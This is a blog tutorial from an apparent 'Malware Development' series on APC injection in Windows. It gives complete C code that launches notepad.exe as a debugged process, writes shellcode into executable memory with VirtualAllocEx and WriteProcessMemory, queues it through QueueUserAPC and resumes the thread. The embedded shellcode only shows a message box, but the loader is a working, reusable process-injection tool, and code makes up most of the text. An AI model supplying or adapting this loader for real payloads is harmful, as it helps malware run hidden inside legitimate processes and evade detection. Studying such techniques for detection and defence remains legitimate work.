Malware Development: Crafting Digital Chaos 0x8: APC Injection

7 minute read

Introduction to APC Injection

APC refers to Asynchronous Procedure Call, and APC Injection is one variation of the techniques of code injection in Windows. APC Injection targets threads that are in an ALERTABLE state. Every thread has it’s own queue of APCs, when the thread enters an alertable state it starts doing APC jobs in the form of first in first out.

In threading, an “alertable state” refers to a condition where a thread is capable of receiving and processing asynchronous alerts or signals while it’s in a waiting or blocked state. In other words, when a thread is in an alertable state, it remains receptive to certain asynchronous events or notifications, allowing it to perform additional actions or respond to specific signals without being actively engaged in processing tasks.

A thread enters an alertable state in specific scenarios where it is capable of receiving and processing asynchronous alerts:

  • Waiting on I/O Completion Ports
  • Waiting on Synchronization Objects: When a thread waits on certain synchronization objects such as mutexes, semaphores, events, or condition variables using functions like WaitForSingleObjectEx, WaitForMultipleObjectsEx, or SleepEx.
  • Asynchronous Procedure Calls (APCs): Threads that explicitly enter an alertable state by calling functions like SleepEx, WaitForSingleObjectEx
  • Custom Alertable States: In some cases, developers may implement custom mechanisms to put threads in an alertable state.

In order to perform APC Injection, we need to create or have a ready thread in an alertable state, in this article we will be creating a new remote process in DEBUG mode.

Debug mode is an alertable state for process threads primarily because it allows the operating system to interrupt the normal execution flow of a thread to handle debugging-related events or signals. When a thread is in debug mode, it becomes receptive to asynchronous alerts or signals from the debugger.

In Windows operating systems, DebugActivateProcessStop is a function used to activate a thread that is in a stopped state due to debugging. It’s part of the debugging API and is primarily employed to resume the execution of a thread that has been halted for debugging purposes. As we will be creating a process in debug mode we will need to use this API so we can activate the thread again after injection.

Creating a debugged process

We will be using CreateProcess API call, it will not be explained in depth as it is explained more here.

We will be passing DEBUG_PROCESS as a creation flag in the place ofdwCreationFlags parameter so we can create a debugged process.

BOOL CreateDebuggedProcess(IN LPCSTR lpProcessName,OUT DWORD* dwProcessId,OUT HANDLE* hProcess,OUT HANDLE* hThread) {

  CHAR lpPath[MAX_PATH * 2];
  CHAR WnDr[MAX_PATH];

  STARTUPINFOA si = {0};

  PROCESS_INFORMATION pi = { 0 };

  RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
  RtlSecureZeroMemory(&si, sizeof(STARTUPINFO));

  si.cb = sizeof(STARTUPINFO);

  if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {

    printf("GetEnvironmentVariableA failed with error %x", GetLastError());
    return FALSE;

  }

  sprintf(lpPath, "%s\\System32\\%s", WnDr,lpProcessName);

  if (!CreateProcessA(
    NULL,
    lpPath,
    NULL,
    NULL,
    FALSE,
    DEBUG_PROCESS,
    NULL,
    NULL,
    &si,
    &pi
    )) {

    printf("CreateProcessA failed with error %x\n", GetLastError());
    return FALSE;
  }

  *hProcess = pi.hProcess;
  *dwProcessId = pi.dwProcessId;
  *hThread = pi.hThread;

  return TRUE;


}

As we can see we are using sprintf to concatenate the full path of our process getting the WINDIR environment variable is more convenient than hardcoding everything.

Also the empty placeholders for PID, Process Name and Thread handles are passed in order we can save the retrieved values of our debugged process because once the function exists we lose everything in pi variable.

Injecting shellcode inside remote process memory

Next step after retrieving a handle to the target process we will be injecting our code in an EXECUTABLE region, we can use VirtualAllocEx directly or combine it with VirtualProtect for more stealthy approach:

BOOL InjectShellcode(IN HANDLE* hProcess, IN PBYTE Shellcode, IN SIZE_T SizeofShellcode, OUT PVOID* ppAddress) {


  SIZE_T dwNumberofBbytesWritten;
  *ppAddress = VirtualAllocEx(*hProcess, NULL, SizeofShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  if (ppAddress == NULL) {
    printf("VirtualAlloc failed with error %x", GetLastError());
    return FALSE;
  }

  if (!WriteProcessMemory(*hProcess, *ppAddress, Shellcode, SizeofShellcode, &dwNumberofBbytesWritten) || dwNumberofBbytesWritten != SizeofShellcode) {

    printf("WriteProcessMemory failed with error %x", GetLastError());
    return FALSE;
  }

  return TRUE;

}

As we see the out parameter in this case is ppAddress the address of our shellcode.

For more explaniation of shellcode injection check past articles.

We have all what we need now,:

  • A debugged process.
  • A Handle to that process.
  • A Handle to one of its alertable-state threads.
  • An executable address that hold injected shellcode.

Next we will need to implement the injection routine itself.

Triggering the payload

We will be using QueueUserAPC to trigger our shellcode:

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

[in] pfnAPC

A pointer to the application-supplied APC function to be called when the specified thread performs an alertable wait operation.

[in] hThread:

A handle to the thread. The handle must have the THREAD_SET_CONTEXT access right.

[in] dwData:

A single value that is passed to the APC function pointed to by the pfnAPC parameter.

QueueUserAPC allows a thread to queue a user-mode asynchronous procedure call (APC) to the APC queue of another thread. This means that code provided by us can be executed asynchronously within the context of the target thread.

  • pfnAPC: The address of our shellcode.
  • hThread: A handle to the alertable state.

  if (!QueueUserAPC((PAPCFUNC)*pAddress, *hThread, NULL)) {
    printf("QueueUserAPC failed with error %x\n", GetLastError());
    return FALSE;
  }

And then as we said before we need to activate the thread, using:

  DebugActiveProcessStop(*dwProcessId);

Full function:

bool APCInjection(IN HANDLE* hThread, IN PVOID* pAddress, IN DWORD* dwProcessId) {

  if (!QueueUserAPC((PAPCFUNC)*pAddress, *hThread, NULL)) {
    printf("QueueUserAPC failed with error %x\n", GetLastError());
    return FALSE;
  }

  DebugActiveProcessStop(*dwProcessId);

  return TRUE;
}

Tracing execution

To make sure everything is correctly happening we can put some breakpoints here and there and trace the execution:

Process Creation

If we breakpoint after the process creation function we can see that our process has been created:

P0 P1

Injection

Breakpoint after The injection function and observe the memory address returned and its permissions.

P2 P3

Thread resuming

Continue the execution and you’ll get the messagebox triggered. P3

Final code

#include <stdio.h>
#include <Windows.h>

bool APCInjection(IN HANDLE* hThread, IN PVOID* pAddress, IN DWORD* dwProcessId) {

  if (!QueueUserAPC((PAPCFUNC)*pAddress, *hThread, NULL)) {
    printf("QueueUserAPC failed with error %x\n", GetLastError());
    return FALSE;
  }

  DebugActiveProcessStop(*dwProcessId);

  return TRUE;
}


BOOL CreateDebuggedProcess(IN LPCSTR lpProcessName,OUT DWORD* dwProcessId,OUT HANDLE* hProcess,OUT HANDLE* hThread) {

  CHAR lpPath[MAX_PATH * 2];
  CHAR WnDr[MAX_PATH];

  STARTUPINFOA si = {0};

  PROCESS_INFORMATION pi = { 0 };

  RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
  RtlSecureZeroMemory(&si, sizeof(STARTUPINFO));

  si.cb = sizeof(STARTUPINFO);

  if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {

    printf("GetEnvironmentVariableA failed with error %x", GetLastError());
    return FALSE;

  }

  sprintf(lpPath, "%s\\System32\\%s", WnDr,lpProcessName);

  if (!CreateProcessA(
    NULL,
    lpPath,
    NULL,
    NULL,
    FALSE,
    DEBUG_PROCESS,
    NULL,
    NULL,
    &si,
    &pi
    )) {

    printf("CreateProcessA failed with error %x\n", GetLastError());
    return FALSE;
  }

  *hProcess = pi.hProcess;
  *dwProcessId = pi.dwProcessId;
  *hThread = pi.hThread;

  return TRUE;


}


BOOL InjectShellcode(IN HANDLE* hProcess, IN PBYTE Shellcode, IN SIZE_T SizeofShellcode, OUT PVOID* ppAddress) {


  SIZE_T dwNumberofBbytesWritten;
  *ppAddress = VirtualAllocEx(*hProcess, NULL, SizeofShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  if (ppAddress == NULL) {
    printf("VirtualAlloc failed with error %x", GetLastError());
    return FALSE;
  }

  if (!WriteProcessMemory(*hProcess, *ppAddress, Shellcode, SizeofShellcode, &dwNumberofBbytesWritten) || dwNumberofBbytesWritten != SizeofShellcode) {

    printf("WriteProcessMemory failed with error %x", GetLastError());
    return FALSE;
  }

  return TRUE;

}



int main()
{

  unsigned char buf[] =
    "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
    "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
    "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
    "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
    "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
    "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
    "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
    "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
    "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
    "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
    "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
    "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
    "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
    "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
    "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
    "\x4c\x8d\x85\x15\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
    "\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
    "\xd5\x43\x52\x41\x46\x54\x49\x4e\x47\x20\x44\x49\x47\x49"
    "\x54\x41\x4c\x20\x43\x48\x41\x4f\x53\x00\x4d\x65\x73\x73"
    "\x61\x67\x65\x42\x6f\x78\x00";

  CHAR Pname[] = "notepad.exe";
  
  DWORD* dwProcessID = (DWORD*)malloc(sizeof(DWORD));
  HANDLE* hProcess = (HANDLE*)malloc(sizeof(HANDLE));
  HANDLE* hThread = (HANDLE*)malloc(sizeof(HANDLE));


  if (!CreateDebuggedProcess(Pname, dwProcessID, hProcess, hThread)) {
  
    printf("failed to CreateProcess Error %x", GetLastError());
    return FALSE;
  
  };

  PVOID* pAddress = (PVOID*)malloc(sizeof(PVOID));
  if (!InjectShellcode(hProcess, buf, sizeof(buf), pAddress)) {

    printf("Inject Shellcode failed error %x", GetLastError());
    return FALSE;
  }


  if (!APCInjection(hThread, pAddress, dwProcessID)) {

    printf("APCInjection failed with error %x", GetLastError());
    return FALSE;
  }
  
  return TRUE;

}